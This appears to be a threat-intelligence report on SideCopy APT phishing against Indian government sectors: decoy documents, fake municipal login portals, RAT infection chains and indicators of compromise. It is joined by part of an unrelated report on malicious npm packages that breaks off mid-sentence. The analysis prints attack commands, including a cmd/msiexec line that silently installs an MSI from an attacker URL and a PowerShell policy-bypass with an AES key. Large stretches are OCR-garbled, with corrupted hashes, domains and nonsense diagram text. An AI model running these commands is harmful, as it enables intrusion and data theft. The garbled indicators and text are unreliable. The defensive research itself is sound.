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SideCopy APT

Introduction

The SideCopy APT, a Pakistani-linked advanced persistent threat group, previously known for
targeting Indian government and defence sectors, has expanded its focus to include Railways,
OIL & Gas and the Ministry of External Affairs, making a strategic escalation in its threat
posture.

Tactical Shifts

A major development is the replacement of HTA (HTML Application) with MSI (Microsoft
Installer) packages for initial access, signalling a move to more sophisticated and stealthy
infection vectors. This shift supports the group’s broader strategy involving DLL side-loading,

reflective code loading, and multi-platform malware deployment, aiming to bypass traditional
detection mechanisms.

SideCopy has also integrated and customized multiple open-souce remote access tools (RATSs),
including :

Ve
XenoRAT SparkRAT
> Extended using reflective loading Modified for Linux targets, using same
- and PowerShell-based AES stager infrastructure as that of
~ decryption Poseidon and Ares RATs
CurlBackRAT )
A newly discovered payload that employs N/
DLL side-loading and uses curl for victim
registration and file exfiltration
Key findings

Spoofed Identities

Threat actors impersonate

cybersecurity professionals
through compromised or fabricated
email accounts.

Malicious Domains

\

A fake e- governance -themed
doamin with open directory access
is used to distribute malware and

Widwspread Impersonation host phishing pages

13 different sub-domains and URLs
simulate RTS login pages tied to various
City Municipal Co-orporations in
Maharashtra



A previously compromised
educational portal re-emerged in
February 2025, featuring lures
centered on “Climate Change”,
“Research Work”, and “Professional
Development” themes - specificially
targeting university students

Website Compromises

Legitimate Indian infrastructure,
such as National Hydrology Project
(NHP) website, has been hijacked to
host malicious downloads

Honey-trap campaigns resurfaced
in June 2024 and January 2025,
seemingly timed with the arrest of a
government insider

Additionally, the parent group of SideCopy, APT36, also targeted Afganistan, using a lure
themed around the Office of Prisoners Administration (OPA). The campaign involved the use of

AES/RC4 encrypted loaders to deploy MeshAgent, a remote monitoring and management

(RMM) utility, focusing on Linux-based systems.

Phishing Emails

SideCopy’s latest phishing activity, observed in January 2025, strategically targets the Indian
Defense Sector, particularly the National Defence College (NDC) under the Ministry of Defence.
The campaign uses spear-phishing tactics, impersonating as an official personnel to deceive

recipients.

Update schedule for NDC 65 as discussed

gsosystems-ndc@outlook.com
GS

Mon, 13 Jan 2025 05:18:15 +0000
i ——

Cc:: ™

To:

l#.doc NDC65-Updated-Schedule.pdf (460KB)| Download | Briefcase

Dear sir kindly see the updated schedule as mentioned.

Policy update for this course

}

PDF

Wed, 15 Jan 2025 15:01:17 #0530 (IST)

BO

Download

To:

——
P —

On 13" January 2025

A phishing email was sent with the subject
line: “Update schedule for NDC 65 as
discussed”. It included a malicious link to
downlaod a file titled “NDC65-Updated-
Schedule.pdf”, masquerading as an offcial
schedule update.

i

On 15" January 2025

Another phishing email was sent with the
subject: “Policy update for this course.txt”.
This email also contained a malicious link
and was sent from an email ID that closely
mimics official communications.

—— ———————————————d N




The sender address, gsosystems-ndc@outlook[.]Jcom, aligns closely with
legitimate Indian government emails, such as gsosystem.ndc-
mod@nicl.]in, which is associated with National Informatics Centre (NIC).

@

The address was active till
February 28, 2025

The address was registered on
January 10, 2025 from UAE

O

Decoy Documents

SideCopy’s latest phishing activity, observed in January 2025, strategically targets the Indian
Defense Sector, particularly the National Defence College (NDC) under the Ministry of Defence.
The campaign uses spear-phishing tactics, impersonating as an official personnel to deceive

recipients.
NATIONAL DEFENCE COLLEGE
e s ~ NDC-65 ANNUAL TRAINING C IDAR (STUDY & ACTIVITIES) - 202
ot T e . man ] T = This document mimics the
I i - ™ s |0 | e | A .
Lt (el N = A i = e Annual Training Calender for
L. | oy faven iy waiag .
L N T = N &= =l e 65" course of National
- BT ullﬂj » A PR h Sl .
. o S on Defence College (India’s top
i | |  defense strategic institute).
s Entaray | ¢ Sondiry Eeany
N.. e = I e s | | e
= S = The decoy is meant for -
e G E o " | =
" — =T — R Military Officers
1B MID TERM BREAK i ;f st I e el -G @ T
LI N v | man [re— / L / L
=T — &
e [ el e - Civil Service Officers
S e | R =
N e |+ e A AL aligning with the real
AN P t R T = P
A /Y = Jew ] structure and format of such
. A .r \ Dot By
: N v A - L . . . . .
e e |l | A A = institutional publications
= A Ter w "r&: / ) . e .
= wawgs | TR T L |'
A Kigpees el I R 2 /N NDC is a defense training
Bty By ) by
X [l = I = ol | LA | o, | institute for officers of
= — e S Defence Service (India Armed
fr Jmour Forces) and the Civil Services,
| e | ety 2y [ Husadiy
505 () . INTERNATIONAL SECURITY ENVIRONMENT T -GLOBAL ISSUES, $C1 & TECH all operating under Ministry
503 (C5) - STRATEGEES AND STRUCTURES FOR HATIONAL SECURITY .
of Defence, India.

NDC Calender Decoy



National Holiday ZIP Archieve

SOUTHERN RAILwWaY

Wo.M/P.694 fOpen Line Holidny Divl. Rly Manager's Office b5
Personnel Branch
Chennad Division
Date. 19-12-2023

All Coneerned

Sub: Holidays to OFEN LINE Stalfl for the year 2024,

Open Line stafl of Chennad Division for the year 2024,

This has the approval of DRMfMAS.

Holiday List Decoy W
[Railways] w.x.i%ﬂﬁq

{/5.DPO/MAS

Copy 1o: PCPO/MAS for kind information.
PS to DRM for kind informaifion of DRM.
CPM/GS, ADRM/SI & 11 for kind information.

Principal, ZETTC/AVD & ZRCETC/TBM
DS/SRMU for information.

DS/Al SC&ST REA for information.
DS/Al OBC REA for information.

A phishing archive titled “2024-National-
Holiday-RH-PER_N-1.zip” was found in two

The list of 12 holidays in;-ﬂ-ud:ng three National Holidays declared for I_l n UX plath I’mS

Cybersecurity Guidelines Document (HPCL)

ne’w'?li'h ;
.../ Another decoy, named “Cybersecurity
Guidelines 2024”, appears to originate

from Hindustan Petroleum Corporation
Limited (HPCL)

HPCL is a major public sector energy
company under the Ministry of
Petroleum and Natural Gas, and a subsidiary
of oil and natural gas, headquartered in
Mumbai, the document mimics an internal
advsioru on cybersecurity practices

variants, tailored separately for Windows and

SLNo _ NAME OF FESTIVAL DATE DAY |

| 1 New Year's Day 01.01.2024 | Manday
2 Pon — 15.01.2024 | Monday

3 Republic Doy 26.01.2024 | Friday

4I 1 _?::;F;truﬁrnﬁnﬂjl! 11.04.2024 | Thursday

e e Bl day | 14:04.2024 | Sunday 23 | Onceexecuted. the payload reveals a

| D,
g HT;-: m:nl‘ld.:u:aﬂ:mq.' ?;g:ggz 1‘;‘:::154%’ . . .

I8 [ Vinayagar Chathurii mfﬁ:ﬁgj Samrday i, decoy PDF lisfting 2024 holidays for Open
a Candhi Jayanthi 2. 10, Wed d

|10 __| Avudha Poaja 1 11.10.2024 | Fridn . . . e e .

H%w_l T — RT3 1 Line staff of Southern Railway’s Chennai Division,
12__| Christmas 25.12.2024 | Wednesday

The above Holidays are declared in consultation with SRMU, sourced from a real notice dated 19 December 2023

Southern Railway operated under Ministry
of Railways, a government-owned entity

Py
2l (e
Cybersecurity Guidelines 2024

1 | Use Strong, Unique Passwords Create password that are at least 12 characters long.

2 | Emable Two Factor Authentication | Whenever possible, enable 2FA on your accounts. This adds
an extra layer of security by requiring both your password
and a secondary verification.

3 | Update Software Regularly Ensure that your operating system, apps, and antivirus
software are abways up to date.

& | Be Cautious with Emails and Links | Don’t open suspicious emall attachments or click on links
from unknown sender. Phishing scams often use fraudulent
emails to steal your personal information.

5 | Be careful with Social Media Daon't post information regarding companies’ critical
infrastructure and methods of working.

6 | Lock your devices when not in use | Always lock your computer, mobile phone, or any other
device when stepping away, even for short periods. This
helps protect sensitive information from being accessed by
unauthorized individuals.

7 | Change your passwords Keep changing your email, and other platforms passwords.

8 | Be Careful with USB Drives and Only connect USB drives or external devices that you trust

External Devices to your work devices. Malicious software can be introduced
o the system via infected USB drives or other external
devices, potentially compromising the entire network.

9 | Follow Company Cybersecurity Always adhere Lo your company’s cybersecurity policies

Policies and procedures. This includes guidelines for data
protection, password management, and the use of work
devices. These policies are designed to keep both your
personal infermation and company data safe.

10 | Report Suspicious Activity i you notice anything unusual {e.g., strange emails, unusual

Immediately login attempts, or unfamiliar software on your device),
report it 1o your company’s IT or cybersecurity team
immediately. Early detection of threats can help prevent
larger security breach.

Cybersecurity Guidelines Decoy
[Oil & Gas]




Pharmaceutical Product Catalogue (MEA)

A separate infection chain include a file titled
“Pharmaceutical Product Catalogue 2025”, attributed to

Mapra Laboratories Pvt. Ltd.

MAPRA

i

PHARMACEUTICAL PRODUCT CATALOGUE
FOR Ministry OF External Affairs

The document appears to target personnel within the
Ministry of External Affairs (MEA), suggesting that the
campaign extends beyond traditional government departments

to health-related sectors with international connections.

Employee’s
ol
e

2025 -4

Catalogue Decoy [External Affairs]

Open Directory and Credential Phishing

SideCopy APT deployed a fraudulent

W domain mimicking e-Governance
w services, with the apparent goal of
harvesting credentials from personnel
within government-linked railway systems.

Investigations uncovered 13 sub-domains
each functioning as phishing pages
imitating login portals for government and
minicipal systems.

These mimic official interfaces for services
such as:

o

Webmail Systems

Safety Tank
Management Systems

[ ) 2

g

(
{V

Payroll Management

Set Authority

Open directory

Index of /

Index of /
Name Last modified Size Description

130521 2023-06-23 16:56 -
backup.zip 2023-11-03 16:26 299M
ballarpur72/ 2020-03-18 02:26 -
cme/ 2023-11-02 18:06

dss/ 2023-11-02 18:06 -
dssrts zip 2023-11-07 07:43 121M
dssrts/ 2023-11-02 18:06 -
dssrtso.zip 2023-11-05 16:50 72M

pakora.egovservice.an’ 2023-07-23 16:18 -
payroll vveme zip 2023-12-22 11:30 191M
payroll vveme 2020-03-18 02:26 -
2020-03-18 11:56

2020-03-18 02:26

2023-12-04 1752 55M
2023-12-03 17:23 -

testformonline
vveme safety tank
vvemerts. zip
vvcmcrts/

This spoofed domain, created on 16 June 2023,
continues to host malicious files via an open
directory structure accessible to the public.



These portals closely resemble those linked with Right to Public Services (RTS) Act
implementations and are customized for various City Municipal Corporations (CMCs)

in Maharahtra.

W o AR ELUNEE —
& 3 i A . X & ; .
e

— -=

——
[\
)
Ma Screenshot

Available

Login portals hosted on fake domain

The campaign with spoofed portals has targeted staff in several Maharashtra-based

CMCs in the following areas:

Nandurbar
Gondiya

Bhandara

Garhchiroli

Chandrapur

Osmanabad

Kolhapur

Sindhudurg

Maharashtra map with fake portal location




Observed Sub-domains with their first seen dates

Sub-domains First seen

gaddchiroli.egoservicel.]in 16" December 2024

pen.egoservicel.]lin 27" November 2024

cpcontacts.egoservicel.]lin

cpanel.egoservicel.]lin

webdisk.egoservicel[.Jin 3" January 2024

cpcalenders.egoservicel.]in

webmail.egoservicel.]in

dss.egoservicel.]in

3" November 2023
cmc.egoservicel.lin

mail.egoservicel.lin 13" October 2023

pakola.egoservicel.]in

23 July 2023
pakora.egoservicel[.]in

egoservicel.]in 16™ June 2023

Their DNS history is found to be registered under AS 140641 (YOTTA NETWORK
SERVICES PRIVATE LIMITED), which highlights a centralized effort in domain
infrastructure planning to steal credibility.

Multiple phishing URLs were also identified linked with fake domains, most likely
serving malware or phishing lures:

hxxps://egovservice.in/vvemcrts/ hxxps://egovservice.in/vvcmcrtsballarpur72/

hxxps://egovservice.in/vvemc safety tank/ hxxps://egovservice.in/130521/13/

hxxps://egovservice.in/testformonline/test form hxxps://egovservice.in/dss/

hxxps://egovservice.in/payroll vvecmc/ hxxps://egovservice.in/dssrts/
hxxps://egovservice.in/cmc/ hxxps://egovservice.in/pakora/egovservice.in/




Cluster-A

The first operational cluster of SideCopy APT demonstrates a hybrid targeting strategy,
deploying tailored payloads for both Windows and Linux environments. Notably, the group
introduced new Remote Access Trojans (RATSs) like CurlBack and Spark, expanding its toolkit for
strategic intrusions.

Same Name

Different Payloads —

— |

Spear-Phishing T
Email Link egovservice.in 2024- Natlonar 2024-National-

Holidays-RH-PER_N-1 Holidays-RH-PER_N-1
i B
ELF D
|
Securny-Gu|de||nes.pdf_ln|-: Golang Stager
c &
E)(E 5 PDF Spark RAT
) (clinsixfer.elf)
ConsoleApp1.exe  wininstaller. msi Decay
installerr.msi
C:\ProgramData\LavaSoft| l
"""""""""" dropc ,
Run Regkey '
permst |

side E 9 E
R ) —load : »
(DLL | E)(E ) F @ A @

sunldes.hta Sampeose.dl| girbesre.exe CurlBack RAT | updates widgetservicecenter.com
! et £ (DUI70.dlly '  updates biossysinternal.com

_______________________________________________________________

Windows Attack Chain

Initial Vector
Victims receive a spear-phishing email containing links to spoofed or compromised domains
that looks legitimate.

hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/

hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/Security-Guidelines/

- [

Spear-Phishing egovservice.in
Email Link



L _ _—
WWW > - | -
|

_ _ 2024-National-
egovservice.in Holidays-RH-PER_N-1

The [py ¢

> 6\ -thk flle [a

Command Sheyy usl-mChes a
w Ing Ccm

This downloaded payload is an archive file
containing a .pdf.lnk double-extension
shortcut, engineered to appear legitimate

Ith es d
Cap -Exe

CharaCterS @) \ V
Fm 2024-Nationa-Hobdays AIH-PER_N-1. pdi m Securty-Guidelnes pd |
fire T T Security-Guidelines.pdf.Ink
Target locatior: Sysbem32 Target locatmey System32
Tangst: a8y RHYPE RN T Taepat: [Ty G T e T e W e |
Start i XCD% Sitaut v %CD%
Shadcul key.  [Hons Shotcutkey: [ None Malware Installation is achieved using
Run Mininized v/ A Minavized v msiexec.exe in silent mode (/q /i), pulling
Commert 024N abicnalHobdsys-RH PER_N-1 Coenenent Secunly Dudelnes remote MS' ﬁles from above URLS

Escape character (%) is a common obfuscation
tactic to evade security detections

]'_l:.

_-====% The first domain mimics a fake e-governance
/ . : : M5I
site seen with open directory

l
I' I1*—-l
1
1 C:\Windows\System32\cmd.exe /c m"s"i“e"x"e*c.exe /q /i - .
1
“hl\tl\tl\p sl\ A/l\/l\e g O V s e r VI\II\C el\ l\ll\nl\/l\dl\s s rl\tl\ I\/I\hl\ l\ll\p e r sl\/l\fl\o nl\t wlnlns‘taller-msl
n I\/I\2A0/\2A4I\ I\Nl\ Atl\ll\o nal I\HI\ l\ll\ l\dl\a y sl\ I\RI\HI\ I\PI\EI\RI\_I\N All\/l\ll\n sl\tl\/ InEtalIErr-msl
- C:\Windows\System32\cmd.exe /c m"s"i"e"x"e"c.exe /q /i
,”hAtAtApAsA:A/A/AnAhApA.AmAOAWArA.AgAOAVA.AiAnA/ANAHAPAMAIASA/ATArAaAiAnAiAnAgAM
'l /\al\tl\eArAil\al\ll\/l\al\Sl\pI\XI\/ASI\eI\CI\uI\rl\il\t/\yl\_l\Gl\uI\il\dI\el\l/\il\nl\e/\sl\/l\wl\ol\n/\tl\/
\
\
\\ o . sed d i that bel The MSI payload installs a
S~a 2" oneis ‘? .comprf)mlse omaint at. elongs .NET executable (ConsoleAppl.exe),
to official National Hydrology Project that performs 2 things
(an entity under Ministry of Water Resources)
6--—-—-__ DrOPSand
PDF olderthp sa:seGyPDFin Public
C:\ProgramData\LavaSoft Decoy eod ~~~N n
T fpops L TITITIT I S~. )
H Run Regkey 1 \\‘
E persist : -7
! 10 » side i dd\t\O“a\ -~
. |hma o > E; _MH@ e ConsoleApp1.exe
! svnides.hta Sampeose.dl |  girbesre.exe CuriBack RAT '

‘- e tr e e (Dui7odn)



CurlBAT RAT

Along with the DLLs, girbesre.exe is also dropped having its original name as
CameraSettingsUIHost.exe.

Persistence Mechanism
e An HTA script (svnides.hta) creates a registry Run key.
o 2 different DLL samples having compilation timestamps as 2024-12-24 and 2024-12-30
e A scheduled Task named “OneDrive” is added to ensure persistence across reboots:

C:\Windows\System32\Tasks\OneDrive

Onelrive Size: 32K
Camera Settings UL Host Time: Tue Dec 31 23:19:03 2024
(Mot Verified) Microsoft Corporation  Version: 10.0.19041.3636

I avaSof tigirbesre.exe

Scheduled Task

Execution Flow

CurlBack RAT initial checks:

Response of specific URL with command /antivmcommand
If response is “on”, it proceeds, otherwise, it terminates

Reconnaissance Functions:
Gathers system information and any connected USB devices using registry key -

e Scans registry path SYSTEM\\ControlSetOO1\\Enum\\USBSTOR for USB devices.

Retrieving system info
and USB devices




Monitors for active running processes like explorer, msedge, chrome, notepad, taskmgr,

services, defender, etc.

Client Identification & Communication

Enumerate displays
and processes

It Generates a unique UUID for client registration with C2 server. The ID genereated is stored in
“C:\Users\<username>\.client_id.txt” (users home directory)”

Registeration with C2 server and maintains a persistent conneection for instructions

Reversed C2 Paths

Reversed String Purpose

Client ID for
C2 registration

[retsiger/ Client registeration
/sdnammoc/ Fetch C2 commands
[taebtraeh/ C2 heartbreak checks

[stluser/ Upload results/data




Once registered, the connection is kept alive to retrieve any commands that are returned in the

response.

Supported Commands
If it has captured any command, then it will retrieve the current timestamp and execute one of
the following C2 commands

Command Description

info

Collect system information

download

Exfiltrate local files

persistence

Updates persistence settings

run Execute shell commands
extract Extracts sensitive data
permission Elevates privileges
users Lists local users accounts
cmd Opens remote command-line

Reversed C2 Paths
Some other functions can be used to fetch

P
—

User and host details

Extract archive files

4

Creating tasks

The malicious DLLs contians CURL to enumerate and transfer various

file formats:

GIF, JPEG, JPG, SVG

TXT, HTML, PDF, XML

dq offset

dq offset
dgq offset
dgq offset
dq offset
dg offset
dq offset
dq offset
dq offset
dg offset
dgq offset
dgq offset
dg offset
dq offset
dgq offset
dg offset
dgq offset
dg offset
dgq offset
dg offset

Commands response
after registeration

Checking process privilege

with ‘permission’ command

abict_e

aFile
aFtp
aFtps
aGopher
aGophers
aHttp_@
aHttps
almap_8
almaps
aMgtt
aPop3 @
aPop3s
aRtsp_@
asmb
asmbs
asmtp_@
asmeps
aTelnet ; "telne
aTftp « "tftp"




Linux Attack Chain

Linux variants share the same decoy archive name (National-Holidays-RH-PER_N-1) as
Windows counterparts and were timestamped 20 Dec 2024. These archives contain Go-based
ELF binaries mimicking official documents.

Same Name

— Different Payloads —
A

[ [
2024-National- 2024-National-

Holidays-RH-PER_N-1 Holidays-RH-PER_N-1
3

&

ELF

Stager Functions |
Golang Stager

Download a decoy PDF via wget to
~/.local/share and opens it

10f
\
/ ELF Golang Stager
| for linux
Sets up a crontab task Golang Stager -
(/dev/shm/mycron) for

persistence across
system reboots

’ X
, aLocalShare

E:



Cluster-B

It targets windows and possibly Linux also. The initial vector was spear

5

[
“update schedule for ndc 65 as discussed”
"policy update for this course"

1

e | 9 e Port 1256
AR
79.141.161.58

[
modspaceinterior.com

DL 7 EXI EKey

NDCB5-Updated-Schedule hta  BroaderAspect.dil zuidrt. pdf -EPath

2 C:\Users\Public\Downloads\
— | I <---- &ﬁ
- PDF |
NDCE5-Updated-Schedule | Document.pdf | Custom
L ! Xeno RAT
' (DevApp.exe)
—a «— 1
Sy PDF :
v extracted |
LL Decoy fom g
| : !
NDGCE5-Updated-Schedule.pdf. Ink B rEsOUrce | g
section !
lA | A
[N o 2N o oA 9
:.— - = .J
HTA 5

Infection Chain

Infections starts with a spear-phishing email link, that downloads the zip archive NDC65-
Updated-Schedule.zip, a remote file hosted on compromised domain:
“hxxps://modspaceinterior.com/wp-content/upgrade/01/ & mshta.exe”

NDCB5-Updated-Schedule »

MName Type g

I
NDCES File folder “update schedule for ndc 65 as discussed”
_ S "policy update for this course”
s | NDCB5-Updated-Schedule.pdf Shortcut '

Archive with malicious LNK

It contians a .lnk file with double extension



The LNK file execution
triggers remote HTA file via

— /

WO

|
modspaceinterior.com \\H‘

hxxps://modspaceinterior.com/wp-content/upgrade/01/

In parallel to MSI stagers, the group continues to utilize HTA-based stagers which remian
almost fully undetected (FUD).

01 Follow -

8241a591e%aa763a%e7a662b242d6280ecked T2c4ef104di65T4be01093bTc
NDCE5-Updated-Schedule.hta

htmil idle  long-sleeps

The HTA payload contains
/_\ Base64-encoded .NET payload: BroaderAspect.dll

Decoded and loaded into
the memory of MSHTA

Sets persistence connection via
RUN registry key with name: Edgre

PDF PDF
0 o Executed with the
A decoy NDC document An additional stager (PDF) in following command

in ProgramData directory Public directory C:\Users\Public\

cmd /C start C:\Users\Public\USOShared-
1de48789-1285\zuidrt.pdf



Encrypted Payload and Execution

The Myapp.pdb dropped .NET binary has 2 resource files Decoded using Ceaser cipher
(shift to 9 character) and dropped at -
PDF Public\Downloads\Document.pdf
(122.98KB)
O 7

/
4

A decoy PDF named - R4

’1
Myapp.Resources.Document.pdf ===~

PDF

O

A decoy PDF named -
Myapp.Properties.Resources.resources

Myapp.pdb

A hidden EXE payload is added after %%EOF marker, used by malware to separte PDF data
from EXE data, PDF data is from start till the marker and EXE data is extracted after skippng 6
bytes beyond marker.

(inputFile);

Extracting EXE after EOF marker

E]s
» B, exeData.

After some delay, the EXE data is dropped as “Public\Downloads\suport.exe” (49.53KB) and it
triggers a powershell command.

Extracting resource and
triggering PowerShell




The command triggered via PowerShell - “-NoProfile -ExecutionPolicy Bypass -Command” is
used to ignore the policies.
2 parameters are sent:

-EPath ‘C:\Users\Public\Downloads\suport.exe’

-EKey 'wq6AHVKMcSKA++1CPE3yVwg2CpdQhEzGbdarOwOrXeO='

Encryption key is decoded from Base64, and the first 16 bytes are treated as Initialization
Vector for AES decryption (CBC mode with PKCS7)

To invoke entry point, the .NET assembly, which is a decrypted binary, is loaded into memory.

Powershell decryption

Final RAT payload: Custom Xeno RAT

It dumps the final .NET payload which is ‘DevApp.exe’.
It’s features include:

=]
HVNC ’ |l@l| Live Mic Access ) E@ Keyloggers )
\‘1 =

t O SOCKSS5 reverse proxy ) \ " UAC bypass ) ? Persistence Connection )




Domain Used
Most of them have a registrar as GoDaddy.com

First Seen
modspaceinterior[.Jcom January 2025 September 2024 AS 46606 - GoDaddy
drjagrutichavan[.Jcom January 2025 October 2021 AS 394695 - GoDaddy
. AS 4758 - National
nhp.mowr[.Jgov[.]in December 2024 February 2005 Informatics Centre
egovservicel.lin December 2024 June 2023 AS 140641 - GoDaddy
pmshriggssssiwan[.]in November 2024 March 2024 AS 47583 - Hostinger
educationportals[.]in August 2024 August 2024 AS 22612 - NameCheap

The C2 domains were created just before the campaignin the last week of December 2024. With
Canadian registrar “Internet Domain Service BS Corp.”, they resolve IPs with Cloudflare ASN
13335 located in California.

Domain Created IPs ASN

updates.widgetservicecen
ter[.]Jcom

104.21.15[.]163,

25 December 2024 172.67.163[131

Cloudflare (AS 13335)

updates.biossysinternall.] 104.21.13[.117,
com 23 December 2024 172.67.167[.1230

HZ Hosting Ltd
(AS 202015)

The Xeno RAT’s 79.141.161[.]58 C2 has a unique common name (CN=PACKERP-63KUN8U). The
port 1256 was used for communication and another port observed was open RDP port 56777.



SEQRITE Detection Names

If SEQRITE products are installed on your system then they can detect and block these
components of SideCopy attack chain using these signatures.

Detection Name Type Meaning
LNK.SideCopy.49245.Gen Generick LNK malware Detects malicious .lnk files
. . . . More specific variant of Trojan
LNK.Trojan.49363.GC Trojan via LNK file dropped through LNK
General SideCo Detection of malware attributed
SideCopy.Mal.49246.GC Py .
malware by SideCopy

Detect HTA files used by

HTA.SideC 49248.G G ic HTA Load . N
1ae-opy en eneric oader SideCopy to load initial stages
HTA.SideCopy.49247.Gen Another HTA variant Different v.erS|on or signature
variant of HTA
HTA Trojan.49362.GC Trojan via HTA file Specific Trojan behaviour seen

in HTA stages

Maybe the final stage payload

Obfuscated or encrypted or Powershell-decrypted

Trojan.Fmq

Trojan binaries
Indicators Of Compromise
Windows
ab410b76d0cb36786e00d2968d3ab6e4 2024-National-Holidays-RH-PER_N-1.zip
f404496abccfa93eedbdfda9d8a53dc6 2024-National-Holidays-RH-PER_N-1.pdf.lnk
57c2f8b4bbf4037439317a44c2263346 Security-Guidelines.pdf.lnk
53eebedc3846b7cf5e29a90a5b96c803 wininstallerr.msi
97c3328427b72f05f120e9a98b6f9b09 wininstallerr.msi
0690116134586d41a23baed300fc6355 ConsoleAppl.exe
ef40f484e095f0f6f207139chb870al6e ConsoleAppl.exe
9d189e06d3c4cefdd226e645a0b8bdb9 DUI70.dll




589a65e0f3fe6777d17d0ac36ab07f6f

DUI70.dll

0eb9e8bec7cc70d603d2d8b6efdd6bb5

update schedule for ndc 65 as discussed.txt

8ceeeec0e33026114f028cbb006cb7fc

policy update for this course.txt

1d65fa045729917809660fff782689fe

NDC65-Updated-Schedule.zip

7637cbfa99110fe8el1074e7ead66710e

NDC65-Updated-Schedule.pdf.lnk

32a44a8f7b722b078b647e82ch9e85cf

NDC65-Updated-Schedule.hta

a2dc9654b99f656b4ab30cfbd97fe2el

BroaderAspect.dll

b45aalb6aef2ad2c77b7c623a222f453

zuidrt.pdf

83cebeeb6ad09a466eb96f347a8b0dc20

Document.pdf

cf6681cflf765edb6cae8leeed389f78

suport.exe

c952aca2036d6646c0cffde9e6f22775

DevApp.exe (Custom Xeno RAT)

0e57890a3bal6blac0117a624f262e61

Security-Guidelines.zip

Linux

b5e71ff3932c5ef6319b7ca70f7ba8da

2024-National-Holidays-RH-PER_N-1.zip

0a67bfda993152c93a212087677f9b60

2024-National-Holidays-RH-PER_N-1. pdf

€165114280204c39e99cf0c650477bf8

clinsixfer.elf (Custom Spark RAT)

Cc2

79.141.161[.]58:1256

Xeno RAT

updates.widgetservicecenter[.Jcom

updates.biossysinternal[.Jcom

CurlBack RAT




URLs

hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/
hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/inst/
hxxp://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-
1/lns/clinsixfer.elf
hxxp://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/lns/2024-
National-Holidays-RH-PER_N-1.pdf
hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/Security-Guidelines/wont/
hxxps://updates.widgetservicecenter.com/antivmcommand
hxxps://modspaceinterior.com/wp-content/upgrade/02/NDC65-Updated-Schedule.zip
hxxps://modspaceinterior.com/wp-content/upgrade/01/
hxxps://modspaceinterior.com/wp-content/upgrade/01/NDC65-Updated-Schedule.hta
hxxps://egovservice.in/vvcmcrts/

hxxps://egovservice.in/vvcmc_safety_tank/
hxxps://egovservice.in/testformonline/test_form
hxxps://egovservice.in/payroll_vvcmc/

hxxps://egovservice.in/pakora/egovservice.in/

hxxps://egovservice.in/dssrts/

hxxps://egovservice.in/cmc/

hxxps://egovservice.in/vvcmcrtsballarpur72/

hxxps://egovservice.in/dss/

hxxps://egovservice.in/130521/set_authority/

hxxps://egovservice.in/130521/13/

Domains

modspaceinterior[.Jcom
drjagrutichavan[.Jcom
nhp.mowrl[.Jgov[.]in
pmshriggssssiwanl[.]in
educationportals[.]in
egovservicel.]in
gadchiroli.egovservicel.]in
pen.egovservicel.]in
cpcontacts.egovservicel.]in
cpanel.egovservicel.]in
webdisk.egovservicel.]in
cpcalendars.egovservicel.lin
webmail.egovservicel.]in
www.dss.egovservice[.]in



www.cmc.egovservicel.]in
cmc.egovservicel.]in
dss.egovservicel.]in
mail.egovservicel.]lin
www.egovservicel.]in
www.pakola.egovservice[.]in
pakola.egovservicel.]in
www.pakora.egovservicel.]in
pakora.egovservicel.]in

Host and PDB

C:\ProgramData\LavaSoft\Sampeose.dll
C:\ProgramData\LavaSoft\DUI70.dll
C:\ProgramData\LavaSoft\girbesre.exe
C:\ProgramData\LavaSoft\svnides.hta
C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf
C:\Users\Public\Downloads\Document.pdf
C:\Users\Public\Downloads\suport.exe
E:\finalRnd\Myapp\obj\Debug\Myapp.pdb

Decoys

320bc4426f4f152d009b6379b5257¢c78 2024-National-Holidays-RH-PER_N-1.pdf
9de50f9357187b623b06fc051e3cac4f Security-Guidelines.pdf
€c9c98cf1624ec4717916414922f196be NDC65-Updated-Schedule.pdf

83ceb6ee6ad09a466eb96f347a8b0dc20 Document.pdf




Stealth Supply Chain Attack:
60 Malicious npm packages uncovered

Introduction

An ongoing malware campaign targeting the npm ecosystem has been recentky discovered in
which 60 malicious packages are being distributed through 3 distinct npm accounts. They use
post-install scripts to exfiltrate sensitive system informationto a discord webhook controlled

by the attacker.

Malicious Behavior
The malicious code is triggered automatically during the execution of npm install command.
The script collects sensitive host-level reconnaissance data, including:

@

Hostnames Internal and External DNS Server User Directory
IP addresses Configurations Paths

After collection, the data is exfiltrated toa Discord-controller endpoint, indicting a potential

command-and-control (C2) setup.

Targeted Systems

The malware is cross-platform, which is designed to work on:

Windows MacOS Linux

It includes basic sandbox-evasion techniques, implying a degree of sophistication to avoid

detection in test environments or CI/CD pipelines.



Threat Impact

The infected systems include developer workstations and CI/CD infrastructure, which are rich
targets for atatkers due to access privileges and code repositories. More than 3,000
downloads have been recoded so far, providing attackers with valuable network
reconnaissance data that could be leveraged for targeted intrusions.

Timeline and Indicators

12" May 2025 23" May 2025
First Malicious Latest Malicious An ongoing
Package uploaded Package uploaded Operation

The packages were uploaded via 3 npm accounts, each of them contributed 20 malicious
pckages, gicing a total of 60 infected packages -

~
& 20 Packages
Packages
e-learning-garena
bbbb335656 published 10.6.2 - 11 ¢
bbbb335656 inhouse-root
bbbbIISESE published 10.6.9 « 10 days ag
event-sharing-demao
BEEE33ISESE published 10.7.0 - 10 days age )
cdsfdfafd1232436437
~
. & 20 Packages
Packages =
seatalk-rn-leave-calendar
cdsfdfafd1232436437 published 10.6.8 + 11 d:
cdsfdfafd123243643 netvis
7 cdsfdfafd1232436437 pub
input_control_vis
cdsfdfafd12324636437 published 11.4.9 = 10 days E Yy,
sdsds656565
~
& 20 Packages
Packages =
coral-web-be
sisds656565 |
sdsds656565 garena-react-template-redux
sdsds656565 published 12.9.1 + 11
sellyourvault
sdsds656565 published 12.6.7 - 18 day 6 J




Inside the Code

The Each of the 60 malicious npm packages contains an identical post-install script designed
for host fingerprinting and network reconnaissance. The script collects Internal and External IP
address, DNS server details, Usernames and project directory paths. The gathered data is then
exfiltrated to a discord webhook, controlled by the threat actor. This mapping of internal-to-
public infrastructure allow attackers to link private development environments with enterprise
network footprints, enabling future precision attacks.

The script also includes some sandbox-avoidance logic which indicates that attackers wants to
evade automated malware analysis platforms, honeypots or VMs, and instead target real

